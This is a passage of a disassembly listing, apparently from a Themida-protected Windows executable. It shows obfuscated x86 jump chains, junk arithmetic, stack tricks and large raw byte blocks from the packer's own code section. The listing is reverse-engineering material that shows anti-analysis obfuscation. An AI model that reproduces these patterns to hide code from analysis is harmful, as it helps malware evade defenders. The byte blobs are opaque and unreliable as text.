0E94BA913h, 0FFFF9CEFh ; --------------------------------------------------------------------------- loc_59EA90: ; CODE XREF: Themida_:005A2D69j push dword ptr [esp] pop edx push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_5A198E ; --------------------------------------------------------------------------- db 83h dd 148704C2h, 0E9515C24h, 0FFFF883Dh, 564318BDh, 3CC58159h dd 0E935C51Ch, 0FFFF40F9h ; --------------------------------------------------------------------------- loc_59EAC8: ; CODE XREF: Themida_:00594062j sub ebx, esi jmp loc_593BEF ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF1FC7h, 5C75E957h, 0BCE9FFFFh db 1Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59EADF: ; CODE XREF: Themida_:005A3CA7j mov ecx, 23A2E698h jmp loc_59A0EB ; --------------------------------------------------------------------------- db 88h, 0EAh, 88h dd 59665AD4h, 0D09AE480h, 94EC80ECh, 0E903F480h, 2913h dd 8904EC83h, 0E1E92414h, 5AFFFF66h, 0ADFE9h, 53E18900h dd 4BBh, 0E9D90100h, 0FFFF2A0Eh, 8904EC83h, 3AB22414h dd 805AD588h, 87E91CC5h, 8900000Dh, 0C0E958C3h, 8BFFFFC9h dd 0E8E9240Ch, 0B8FFFF2Ch, 45776661h, 0C1021425h, 14F75000h dd 6E04E924h, 0C7800000h, 20C8E92Bh, 0F0290000h, 8BC1015Eh dd 0C4832404h, 240C3304h, 33240C31h, 248B240Ch, 148B6624h dd 4EC8124h, 89000000h, 97E9240Ch, 5BFFFFCFh, 4247401h dd 4DAE952h, 0D6010000h, 5EF1015Ah, 8702C183h, 248B240Ch dd 2EC8324h, 50C0E9h, 0E943B700h, 0FFFF6F64h ; --------------------------------------------------------------------------- loc_59EBB0: ; CODE XREF: Themida_:00591442j push edi mov edi, 771D6689h dec edi shr edi, 1 push ebx mov ebx, 0CEABA86Fh sub edi, ebx pop ebx mov ebx, edi jmp loc_5A0AED ; --------------------------------------------------------------------------- db 50h, 0B8h, 89h dd 0E904D371h, 21E6h, 3F6668h, 24248900h, 0A34EE955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59EBE2: ; CODE XREF: Themida_:00598AB2j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 push edx jmp loc_5A2EC8 ; --------------------------------------------------------------------------- dw 8FB9h dd 8109666Ah, 250FF3C9h, 4E9C139h, 0E981D9F7h, 69433860h dd 509DE981h, 0ED819326h, 4E3F7ED5h, 0C581CD01h, 4E3F7ED5h dd 50C3E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59EC2E: ; CODE XREF: Themida_:00597590j mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], esi push 6D838824h push dword ptr [esp] pop esi add esp, 4 sub eax, 5CC91BF0h add eax, 2C247E9Ah sub eax, esi sub eax, 2C247E9Ah push ecx jmp loc_597770 ; --------------------------------------------------------------------------- loc_59EC6F: ; CODE XREF: Themida_:005A5B2Ej pop edx push dword ptr [esp] pop eax add esp, 4 jmp loc_5A2FDF ; --------------------------------------------------------------------------- dd 4C281h, 0EA810000h, 4, 0FFE6EDE9h db 0FFh byte_59EC8D db 66h, 8Bh, 4 ; DATA XREF: Themida_:00590874o dd 278E924h, 0FF5A0000h, 0BCE92434h db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59EC9F: ; CODE XREF: Themida_:0059419Dj pop esp push 2AE5h mov [esp], ebp push esi push edx jmp loc_5915B1 ; --------------------------------------------------------------------------- db 8Bh dd 0EC832424h, 240C8904h, 246855B1h, 8900000Ah, 0B652241Ch dd 4EC8143h, 89000000h, 0B551241Ch, 59EB8868h, 0FF3D23E9h dd 57222DFFh, 815A3A1Ch, 854006EFh, 0EC78109h, 296EBF34h dd 0EEF81C7h, 816EBF34h, 854006C7h, 24048B09h, 136AE9h db 0 ; --------------------------------------------------------------------------- loc_59ED01: ; CODE XREF: Themida_:005917DCj mov ebx, 0F9CBFC6Dh add ebp, 61935E13h add ebp, ebx sub ebp, 61935E13h pop ebx jmp loc_5A035E ; --------------------------------------------------------------------------- dw 0BE66h dd 5766522Eh, 3882BF66h, 0FF56B5E9h db 0FFh ; --------------------------------------------------------------------------- loc_59ED29: ; CODE XREF: Themida_:005A11B6j add edx, edi pop edi push ebx mov ebx, 2 sub edx, 46B557A6h add edx, 32076E9h add edx, 0EF14FB4h sub edx, ebx sub edx, 0EF14FB4h push eax mov eax, 32076E9h sub edx, eax pop eax push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_594AA6 ; --------------------------------------------------------------------------- dw 0F589h dd 8324348Bh, 0EF0104C4h, 0E689565Dh, 3636BD55h, 0ED816BEDh dd 24DE2B61h, 0CFCE9h, 4342C00h, 2CD82800h, 0E9340400h dd 4F4Dh, 0ED81C501h, 156C5426h, 66A1E9h, 88C98100h, 0E908B56Eh dd 0FFFFBE31h ; --------------------------------------------------------------------------- loc_59EDB0: ; CODE XREF: Themida_:005A0948j pop esp push eax mov eax, 4 add ecx, eax mov eax, [esp] add esp, 4 add ecx, 4 jmp loc_5A0EB0 ; --------------------------------------------------------------------------- db 81h, 0F6h, 0 dd 9AA3560h, 0E95E1C77h, 0FFFF448Ch dword_59EDDC dd 0E9028F66h, 0FFFFB6B9h; --------------------------------------------------------------------------- loc_59EDE4: ; CODE XREF: Themida_:0059B4A4j and eax, esi jmp loc_59814B ; --------------------------------------------------------------------------- db 1 dd 2434FFC2h, 289EE9h, 34FF5400h, 2434FF24h, 0E289525Dh dd 6510E9h, 241C8900h, 4BBh, 0E9DE2900h, 0FFFF6C22h, 81242489h dd 42404h, 515F0000h, 942D17B9h, 13F18133h, 8133942Dh dd 6705E3C7h, 81CF013Ch, 6705E3EFh, 240C8B3Ch, 8304C483h dd 29E904C7h, 0E9FFFFA8h, 0FFFF1C4Fh ; --------------------------------------------------------------------------- loc_59EE4C: ; CODE XREF: Themida_:00594109j pop esp pop dword ptr [esp] mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_5996D3 ; --------------------------------------------------------------------------- db 89h, 0E6h, 0E9h dd 0FFFF5835h, 61A7B850h, 0A50510F2h, 90683DDh, 1FE958C6h dd 66FFFF4Fh, 666BDC68h, 53241489h, 0B951E389h, 69034F3Ah dd 0C9C18141h, 196FCB0h, 55A1E9CBh, 0C281FFFFh, 1FE84E49h dd 5D684258h, 0E900003Bh, 0FFFF9AA7h, 0E7C14F97h, 6CEF8102h dd 47090AA1h, 53A3E781h, 0E7813739h, 58F67B10h, 0FF24D4E9h db 0FFh ; --------------------------------------------------------------------------- loc_59EECD: ; CODE XREF: Themida_:005A18C0j add edi, 4FFC2667h dec edi shl edi, 6 add edi, 9AC8F268h sub eax, edi pop edi add esi, eax mov eax, [esp] push eax push esp pop eax add eax, 4 jmp loc_5A50B3 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4815A24h, 4, 0FFB062E9h, 6F2D40FFh, 89F7A95Eh, 69DEE9C6h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_59157D ; --------------------------------------------------------------------------- dw 0FB29h dd 481535Fh, 100F1124h, 0EF815F4Eh, 4E100F11h, 0FF8F46E9h dd 145BBDFFh, 0F58145CBh, 2192243h, 14ADE955h, 0C4830000h dd 4EF8104h, 0E9000000h, 0FFFF7A96h ; --------------------------------------------------------------------------- loc_59EF4C: ; CODE XREF: Themida_:005A2293j mov [esp], ebp mov ebp, 4 add [esp+4], ebp jmp loc_5A4155 ; --------------------------------------------------------------------------- db 51h, 0B9h, 3Bh dd 8164E008h, 3309A0E9h, 59CD31A7h, 7ED1EA81h, 0E938F9h dd 81FFFFEBh, 8C07A9F2h, 0BDCA8171h, 0E959C463h, 0F43h dd 2C481h, 0C8280000h, 0E9C4B652h, 0FFFFF76Ch, 8BEA015Fh dd 0F5E9242Ch, 5BFFFF28h, 0C8289E04h, 0B7E99E2Ch, 81FFFFB4h dd 4C4h, 0CEB95100h, 128C834h, 4E959CAh, 0BFFFFF9Fh, 49C014D5h dd 1179512Dh, 5F82949h, 49117951h, 5F2434FFh, 0E904C483h dd 0FFFF6A04h, 1E13E95Fh, 2C810000h, 0C7028B24h, 24348B3Ch dd 4C481h, 0BF570000h, 540B1A96h, 0C781DFF7h, 90D21D21h dd 16E9FE01h db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F00B: ; CODE XREF: Themida_:005A59DAj mov eax, esp jmp loc_59D390 ; --------------------------------------------------------------------------- loc_59F012: ; CODE XREF: Themida_:005914B6j pop edi add esp, 4 push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_59AE1A ; --------------------------------------------------------------------------- dw 0E8C1h dd 2DD8F708h, 0FDFFADECh, 0FFE385E9h, 402CBBFFh, 0EB815EFCh dd 767443A7h, 126CB850h, 0D0F705D5h, 1A3CE125h, 2250E948h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F05A: ; CODE XREF: Themida_:00591102j sub ebp, esi mov esi, [esp] push eax mov eax, esp add eax, 4 jmp loc_59F268 ; --------------------------------------------------------------------------- dd 4A0555BAh, 24540134h, 24E95A08h, 5000000Eh, 4F6DE9h db 0 ; --------------------------------------------------------------------------- loc_59F081: ; CODE XREF: Themida_:00592011j shr esi, 3 sub esi, 4A9B4645h xor esi, 0F8A54F2Eh add ecx, esi pop esi mov edx, [esp] push edi mov edi, esp jmp loc_596BDC ; --------------------------------------------------------------------------- dw 74FFh dd 8F5B0424h, 248B2404h, 4C48124h, 0E9000000h, 0FFFF3D17h ; --------------------------------------------------------------------------- loc_59F0B4: ; CODE XREF: Themida_:005A50F9j sub ebx, 26C31072h jmp loc_5970AF ; --------------------------------------------------------------------------- db 81h dd 5D5613E2h, 3E2C129h, 0FFFCEA81h, 0D189427Fh, 59C8295Ah dd 0FF473DE9h, 0BF6850FFh, 8900007Fh, 0C8E9242Ch, 89FFFF8Ch dd 243C8BF8h, 5177E955h db 2 dup(0) word_59F0F2 dw 8B66h ; DATA XREF: Themida_:00590848o dd 0EC83240Ch, 243C8904h, 0C781E789h, 4, 351468h, 24148900h dd 310A6855h, 2C8B46EDh, 4C48124h, 51000000h, 0FF7B93E9h db 0FFh ; --------------------------------------------------------------------------- loc_59F121: ; CODE XREF: Themida_:005A0E4Fj push ebx mov ebx, 32011047h jmp loc_5945DA ; --------------------------------------------------------------------------- dd 0A3C681h, 0EEC1257Dh, 68D6F704h, 7D87h, 55240489h, 0CD1090BDh dd 5DE88979h, 3504E8C1h, 0E77A2E5h, 8158C601h, 4ECh, 40A0E900h dd 0EE68FFFFh, 0E9000035h, 0FFFF7D06h, 8324148Bh, 48F04C4h dd 9A67E924h, 0E8D1FFFFh, 0FFD5DCE9h db 0FFh ; --------------------------------------------------------------------------- loc_59F17D: ; CODE XREF: Themida_:0059F361j sub ah, 57h jmp loc_590E9C ; --------------------------------------------------------------------------- db 0B9h, 5Bh, 39h dd 88BA604Eh, 3119BF03h, 49E959CAh, 8900002Fh, 0E9562404h dd 3BAEh, 252EBF57h, 0D7F700B8h, 1EF81h, 0D7F70000h, 44C9F781h dd 0F78149E0h, 57B4477Fh, 950BA52h, 0DAF76BBEh, 7DE9D2F7h dd 89000022h, 3DBA2414h, 8137DA08h, 9446A4CAh, 0FFEA8343h dd 2C57E9h, 0F40BA00h, 0D3E94A72h, 81FFFF80h, 3B7BDAEBh dd 0EC815E15h, 4, 0FF9BB8E9h, 0C8966FFh, 1FB124h, 805966CBh dd 0D92881E9h, 0E981C180h, 0FFFFFD8Fh, 0BE3114BDh, 5DEA0159h dd 3A50BF57h, 0FA013F4Eh, 83243C8Bh, 815F04C4h, 4ECh, 24148900h dd 42474FFh, 24048F5Ah, 2434FF5Ch, 0FF2434FFh, 0C8B2434h dd 4C48324h, 4C481h, 70680000h, 89000044h, 9368242Ch, 54000050h dd 0E924048Fh, 6A4h ; --------------------------------------------------------------------------- loc_59F268: ; CODE XREF: Themida_:0059F067j add eax, 4 xchg eax, [esp] jmp loc_5925EE ; --------------------------------------------------------------------------- db 56h dd 7A2CBD55h, 54E9293Ch db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F27F: ; CODE XREF: Themida_:005966FEj xor [esp], ebx xor ebx, [esp] jmp loc_5A1B32 ; --------------------------------------------------------------------------- dw 0E2B8h dd 0E9393B0Ch, 310Ch ; --------------------------------------------------------------------------- loc_59F294: ; CODE XREF: Themida_:005A51FCj push ebx mov ebx, 0 add ebx, 389E521Bh add ebx, ecx sub ebx, 389E521Bh push ecx mov ecx, 0 add ecx, ebx mov eax, [ecx] pop ecx pop ebx push dword ptr [esp] mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] add esp, 4 push dword ptr [edi+eax*4] mov eax, [esp] push edi push esp mov edi, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_591FBC ; --------------------------------------------------------------------------- dword_59F2FC dd 24048B66h, 5BD668h, 0B995E900h, 20B2FFFFh, 68DECA80h ; DATA XREF: Themida_:00590A0Co dd 437Ch, 88240489h, 0F292E9D4h, 3C87FFFFh, 2C895C24h dd 9F8BD24h, 0F8B94344h, 0E9483857h, 5E4Ch, 596AEA81h dd 0D18770ECh, 0FCC1815Ah, 0E937B674h, 0FFFF5AFDh ; --------------------------------------------------------------------------- loc_59F348: ; CODE XREF: Themida_:0059A43Aj or ebp, 1D3B6E77h jmp loc_59A8AC ; --------------------------------------------------------------------------- loc_59F353: ; CODE XREF: Themida_:0059A9F6j inc ch push eax mov ah, 0C8h add ah, 27h xor ah, 46h shr ah, 8 jmp loc_59F17D ; --------------------------------------------------------------------------- loc_59F366: ; CODE XREF: Themida_:00599014j mov [esp], ebx push eax push 55AB1BDAh pop eax jmp loc_5A0F4B ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 87000000h, 525C240Ch, 92103168h, 0D5095A11h, 0F581455Ah dd 367F1DFBh, 0FF31DBE9h db 0FFh ; --------------------------------------------------------------------------- loc_59F395: ; CODE XREF: Themida_:005947E5j pop edx push eax mov eax, esp add eax, 4 push edi mov edi, 537A4DA3h sub edi, 0FFFFFFFFh push eax mov eax, 0D367A2h jmp loc_5914D6 ; --------------------------------------------------------------------------- db 54h, 0E9h, 15h dd 89FFFFD9h, 0E189240Ch, 0FFFEAEE9h, 240C31FFh, 1E6AE9h dd 0EB885300h, 1C8BDA88h, 4C48124h, 59000000h, 0E901C280h dd 0FFFF9E14h ; --------------------------------------------------------------------------- loc_59F3E4: ; CODE XREF: Themida_:005915B6j mov esi, edx jmp loc_593C81 ; --------------------------------------------------------------------------- aQCss db '[Q±æé‘#',0 align 4 dd 1177C181h, 0C889B978h, 15E5E9h, 55BB5300h, 0E9344A05h dd 106Fh, 5D2434FFh, 5204C483h, 0FF94CEE9h, 0E9D529FFh dd 0FFFFFAD2h, 8104C483h, 4C6h, 4BD5500h, 1000000h, 1E3E9EEh dd 148B0000h, 4EC8124h, 0E9000000h, 0FFFFF02Fh, 4E9DE95Bh dd 8B66FFFFh, 0C1E92404h, 89FFFFEBh, 4C581E5h, 83000000h dd 2C8704EDh, 24248B24h, 54241489h, 0C8B8505Ah, 5721907h dd 8DE6F83Ch, 5158C201h, 536F4B9h, 7BF18164h, 0F75CD903h dd 0BBF181D1h, 8131CF74h, 0ECBEC7E9h, 89C281F6h, 290A9626h dd 43DBE9CAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F49E: ; CODE XREF: Themida_:0059A897j push eax mov eax, 6BD9655Eh or eax, 71144E61h not eax xor eax, 3BEE0F1Dh add eax, 5D90DEDBh xor ecx, eax pop eax xor ecx, 0B589BCBCh jmp loc_5A2D00 ; --------------------------------------------------------------------------- byte_59F4C3 db 8Bh ; DATA XREF: Themida_:00590954o dd 54562404h, 4EC815Eh, 0E9000000h, 0FFFFE8AEh ; --------------------------------------------------------------------------- loc_59F4D4: ; CODE XREF: Themida_:005A5A09j push ebx mov ebx, 201A0D77h jmp loc_5A0EC5 ; --------------------------------------------------------------------------- db 89h dd 5EE92424h, 55FFFF87h, 1F2407BDh, 0B5E5811Eh, 81285522h dd 3D1B07F5h, 0F56EE912h, 0CA01FFFFh, 0FFCD35E9h db 0FFh ; --------------------------------------------------------------------------- loc_59F505: ; CODE XREF: Themida_:0059A98Bj push ebp push eax mov eax, 71C2065h mov ebp, eax pop eax shl ebp, 3 or ebp, 160650B7h jmp loc_594F95 ; --------------------------------------------------------------------------- db 30h, 0EBh, 66h dd 226BE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F526: ; CODE XREF: Themida_:005A4495j add esp, 4 jmp loc_59ADCD ; --------------------------------------------------------------------------- loc_59F52E: ; CODE XREF: Themida_:00592AD2j mov ebx, esi mov esi, [esp] jmp loc_595BAD ; --------------------------------------------------------------------------- loc_59F538: ; CODE XREF: Themida_:00599E0Bj push eax push ebx jmp loc_59AE38 ; --------------------------------------------------------------------------- db 53h dd 0C07E76BBh, 8BDA3104h, 0C483241Ch, 9961E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F552: ; CODE XREF: Themida_:0059ADE0j sub ebp, 26447CE9h push dword ptr [esp] pop eax add esp, 4 push ebp pop dword ptr [edi+20h] jmp loc_5A5B8E ; --------------------------------------------------------------------------- dd 0E9028864h, 0FFFF152Bh, 8108E3C1h, 6F06BFCBh, 3E3C134h dd 3638E9h db 0 ; --------------------------------------------------------------------------- loc_59F581: ; CODE XREF: Themida_:005A15C5j add eax, ecx mov ecx, [esp] add esp, 4 push dword ptr [esp] push dword ptr [esp] pop esi push ecx jmp loc_5A5731 ; --------------------------------------------------------------------------- dw 6C81h dd 6E4A0424h, 44814890h, 0DE90424h, 15E90176h db 51h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F5AB: ; CODE XREF: Themida_:005954DDj push ebx sub esp, 4 mov [esp], eax mov eax, 51FE19EBh push esi mov esi, 5F98547Fh shr esi, 2 not esi inc esi jmp loc_596009 ; --------------------------------------------------------------------------- dd 88EB8853h, 0C0B6E9DAh, 0C328FFFFh, 39C1E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F5DA: ; CODE XREF: Themida_:0059747Bj sub al, 0D8h sub al, dl add al, 0D8h push ebx mov bl, 0F1h shl bl, 7 inc bl add bl, 0B9h jmp loc_5A2AA0 ; --------------------------------------------------------------------------- dd 0DA226568h, 243C8B72h, 0E904C483h, 0FFFF2661h, 0B6EF80h dd 0DE95BF8h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59F60B: ; CODE XREF: Themida_:0059B791j add edx, 0EFD6F30h mov edi, [esp] jmp loc_598AEA ; --------------------------------------------------------------------------- db 5Dh, 33h, 34h dd 24343124h, 0E9243433h, 0FFFF26C0h, 8247C01h, 0C8E9585Fh dd 80FFFFB3h, 8E922EBh, 81000048h, 936A51C6h, 81D60124h dd 936A51EEh, 0A6E95A24h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F64F: ; CODE XREF: Themida_:005A10B2j mov ebp, 5B513A04h shr ebp, 3 jmp loc_59B0A5 ; --------------------------------------------------------------------------- dd 8704C383h, 248B241Ch, 0F6E9C324h, 0F700002Ch, 575A2414h dd 8D5DF1BFh, 5FFA3148h, 51E9C281h, 0D129690Fh, 0FF1F36E9h dd 24048BFFh, 4C481h, 12680000h, 89000008h, 22E9242Ch dd 0FFFF2Dh, 535959C8h, 0E950E389h, 0FFFFF49Bh, 7E25E381h dd 0E38143D8h, 29EA0B17h, 0CBF6EB81h, 0DEE9EE56h, 81FFFFC0h dd 0FC63D4CEh, 8CB9E917h, 481FFFFh, 424h, 0E9555F00h, 0FFFFCC3Eh ; --------------------------------------------------------------------------- loc_59F6D8: ; CODE XREF: Themida_:00590D6Ej mov ebx, [esp] push ecx jmp loc_59D2CA ; --------------------------------------------------------------------------- loc_59F6E1: ; CODE XREF: Themida_:005952FAj xor eax, 106938ACh add esi, eax jmp loc_5A160F ; --------------------------------------------------------------------------- loc_59F6ED: ; CODE XREF: Themida_:0059FB2Aj pop esi add edx, 8F9185D8h push edx mov edx, 28144F14h neg edx neg edx sub edx, 0B3612492h sub ebx, edx mov edx, [esp] add esp, 4 sub ebx, edx push eax mov eax, 74B32A82h add ebx, eax pop eax jmp loc_59952C ; --------------------------------------------------------------------------- aL4Htr db '‹4$hâr',0 align 4 dd 89243489h, 4C681E6h, 0E9000000h, 0FFFF3805h ; --------------------------------------------------------------------------- loc_59F734: ; CODE XREF: Themida_:00595EDCj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add eax, 4 push esi mov esi, 7CEB15BAh not esi add esi, 2D7B7A25h xor esi, 0D33D593Ah shl esi, 4 sub esi, 3AD3D4FCh add eax, esi push dword ptr [esp] pop esi sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 push edi mov edi, 4 add ecx, edi pop edi xchg ecx, [esp] mov esp, [esp] xchg eax, [esp] mov esp, [esp] mov ecx, [esp] sub esp, 4 mov [esp], eax push esp jmp loc_592D83 ; --------------------------------------------------------------------------- loc_59F79B: ; CODE XREF: Themida_:005A3C64j sub ebx, 75A01972h neg ebx dec ebx sub ebx, 0AD14B740h sub esi, ebx pop ebx mov ebx, [esp] add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_597584 ; --------------------------------------------------------------------------- dword_59F7C4 dd 0FF3877FFh, 0C8B2434h, 3DE95324h db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59F7D3: ; CODE XREF: Themida_:005A2A8Cj and eax, 2ACF3E6Ah shl eax, 2 xor eax, 0F3AAEEE4h neg eax not eax shl eax, 6 dec eax sub eax, 110E2474h sub eax, 518FB447h add edx, 69AC1A4Eh add edx, eax sub edx, 69AC1A4Eh mov eax, [esp] add esp, 4 push ebx mov ebx, 4 jmp loc_59BD3D ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 5BF9BE56h, 3DE912A2h db 0F0h, 2 dup(0FFh) byte_59F81F db 0ACh ; DATA XREF: Themida_:00590860o dd 92C0604h, 0FFBC66E9h, 0E9DDF7FFh, 0FFFFC219h, 0FF1266E9h dd 0BEFB8FFh, 0F750199Ch, 0C1582414h, 0E92D06E0h, 0E9781BDCh dd 0FFFFCCE7h, 0FC8FEF81h, 0F9890340h, 4BA525Fh, 0E94D8635h dd 0FFFFFDDBh ; --------------------------------------------------------------------------- loc_59F860: ; CODE XREF: Themida_:005A0390j mov edi, 4 add edx, edi pop edi xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp loc_59F872: ; CODE XREF: Themida_:00591109j push 5554h jmp loc_599D6A ; --------------------------------------------------------------------------- loc_59F87C: ; CODE XREF: Themida_:0059A9DAj pop eax xchg ebp, [esp] pop esp push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_5A2F09 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 0E9000000h, 2BBBh ; --------------------------------------------------------------------------- loc_59F8A0: ; CODE XREF: Themida_:00590F0Dj add esp, 4 jmp loc_5968AA ; --------------------------------------------------------------------------- db 81h dd 0A008246Ch, 5B01C00Dh, 5212E956h, 0ED80FFFFh, 66D8E9D3h dd 5453FFFFh, 0FFEBF6E9h db 0FFh byte_59F8C9 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005907F8o dd 5B545324h, 0FFF14CE9h, 3B1968FFh, 0C158261Ch, 684805E8h dd 0 dd 0B5242C81h, 0E96A5D22h, 0FFFFB633h, 4B4EC5BAh, 5AD68944h dd 84CAE952h, 0C281FFFFh, 0BCFF95A6h, 0E95AD101h, 0FFFFA36Fh dd 4240483h, 4C5815Dh, 83000000h, 0EC8304C5h, 242C8904h dd 42474FFh, 83242C8Bh, 48F04C4h, 0EC835C24h, 24348904h dd 4EC81h, 24890000h, 24048324h, 0B8505E04h, 4, 0E6E9C601h db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_59F94F: ; CODE XREF: Themida_:0059301Ej sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_5A11C9 ; --------------------------------------------------------------------------- loc_59F95B: ; CODE XREF: Themida_:0059615Aj pop eax pop dword ptr [esp] pop esp test ecx, eax pushf jmp loc_5925E9 ; --------------------------------------------------------------------------- dd 6644C181h, 0E98103C6h, 7ADD0BC1h, 4BDEE9h db 0 ; --------------------------------------------------------------------------- loc_59F979: ; CODE XREF: Themida_:005A3A0Cj mov [esp], ebx mov ebx, 2 mov ecx, ebx pop ebx add edi, 0C42E90h add edi, ecx push edx mov edx, 0C42E90h sub edi, edx pop edx mov ecx, [esp] jmp loc_5A215E ; --------------------------------------------------------------------------- db 31h, 4, 24h dd 5C240433h, 9C2424D2h, 0FF10EEE9h, 4C481FFh, 68000000h dd 6777h, 89241C89h, 3115E9E3h, 34FFFFFFh, 2434FF87h, 607BE9h db 0 ; --------------------------------------------------------------------------- loc_59F9CD: ; CODE XREF: Themida_:00599E2Cj pop edi sub esi, 4 jmp loc_5A1F81 ; --------------------------------------------------------------------------- dw 0A468h dd 0E9000074h, 1184h ; --------------------------------------------------------------------------- loc_59F9E0: ; CODE XREF: Themida_:0059A44Bj mov [esp], ebx push 35F7h mov [esp], eax push ecx mov ch, dl jmp loc_590D37 ; --------------------------------------------------------------------------- byte_59F9F3 db 0FFh ; DATA XREF: Themida_:00590988o dd 76E92434h, 81FFFF11h, 0A30A6EF7h, 5FFE0131h, 0FF17A3E9h db 0FFh ; --------------------------------------------------------------------------- loc_59FA09: ; CODE XREF: Themida_:0059DCB5j pop esp push dword ptr [esp] pop edx add esp, 4 mov edi, ebp mov ebp, [esp] push ebx mov ebx, esp push eax mov eax, 4 jmp loc_5A3E8D ; --------------------------------------------------------------------------- loc_59FA27: ; CODE XREF: Themida_:0059D4F0j sub esp, 4 mov [esp], eax mov eax, 41CD0218h neg eax push edi jmp loc_59B210 ; --------------------------------------------------------------------------- dw 0C829h dd 0FFE718E9h, 0C09B0FFh, 3E8C0B4h, 89518D04h, 9819E9E1h dd 0C289FFFFh, 9C28158h, 0E9B75A9Bh, 0FFFFED77h, 2DA5BA52h dd 0D1897775h, 0F181415Ah, 326676B1h, 0FFDF0EE9h, 0D7C581FFh dd 89C3A53Dh, 242C8BE9h, 1E53E9h, 0D1F58100h, 81470F0Ah dd 122F2FC6h, 81EE0172h, 122F2FEEh, 0B8505D72h, 4, 2408E9h dd 0CF18100h, 0C1327D26h, 6AE906E9h, 5EFFFFCCh, 8B241487h dd 48F2424h, 0D3665C24h, 0E99C2404h, 0FFFFF37Fh, 4EC8358h dd 68240489h, 936h, 1F9CE9h, 24348900h, 4BEh, 0E9F52900h dd 0FFFFA55Fh ; --------------------------------------------------------------------------- loc_59FAE8: ; CODE XREF: Themida_:005964B2j mov [esp], ecx mov ecx, 6486B3Fh and edx, ecx jmp loc_5918CC ; --------------------------------------------------------------------------- db 29h dd 0DE95AD1h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59FAFF: ; CODE XREF: Themida_:00596C4Aj inc edx jmp loc_5A5AA9 ; --------------------------------------------------------------------------- loc_59FB05: ; CODE XREF: Themida_:005A45D9j pop eax push edx mov edx, 71C371E3h dec edx push esi mov esi, 48774D46h shr esi, 8 add esi, 795BBF8h add edx, 50E8049Bh add edx, esi sub edx, 50E8049Bh jmp loc_59F6ED ; --------------------------------------------------------------------------- db 81h dd 0A643DEF3h, 0C3814B2Ah, 0AF32528Eh, 8B5BDD29h, 0C483243Ch dd 3BE95204h, 0B5FFFFDAh, 5E5C0C4h, 0B050D5F6h, 28D234B3h dd 24048BC5h, 4C481h, 0E8000000h, 28BB2C59h, 66BB04D8h dd 51DDE952h, 0C890000h, 8995E924h, 1C89FFFFh, 730FBB24h dd 0C3815DEDh, 0FFFFFFFFh, 4B03EBC1h, 62F2EB81h, 0EB813283h dd 0D93A4B6Ah, 525BDF01h, 4BAh, 0E9D72900h, 164Ah, 205h dd 24048700h, 6065E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59FBB6: ; CODE XREF: Themida_:0059740Ej pop ecx push ecx push 4 pop ecx add esi, ecx mov ecx, [esp] add esp, 4 xor esi, [esp] xor [esp], esi jmp loc_595028 ; --------------------------------------------------------------------------- dd 78E9C309h db 67h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59FBDB: ; CODE XREF: Themida_:005A3FC3j mov eax, 1A095741h add eax, 0FFFFFFFFh inc eax sub eax, 31341599h inc eax and eax, 5EA9744Bh sub eax, 48814005h add ebp, eax pop eax jmp loc_5A45B8 ; --------------------------------------------------------------------------- dw 0E5BFh dd 296B3A2Dh, 0C5815FFDh, 161D1ACDh, 83240C8Bh, 96E904C4h dd 0B9FFFFB5h, 7B2309C3h, 0E959CB01h, 0FFFFD999h ; --------------------------------------------------------------------------- loc_59FC24: ; CODE XREF: Themida_:0059D4B1j mov ecx, esp add ecx, 4 push eax mov eax, 4 add ecx, eax pop eax xchg ecx, [esp] pop esp add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp shr eax, 0Bh xor ecx, eax push 3F34h mov [esp], ecx jmp loc_599019 ; --------------------------------------------------------------------------- loc_59FC5B: ; CODE XREF: Themida_:00592159j mov ebx, esp add ebx, 4 jmp loc_596F8A ; --------------------------------------------------------------------------- dd 4EE81h, 0B5680000h, 8900004Ah, 74FF2434h, 8F5E0424h dd 0F3E92404h db 89h, 2 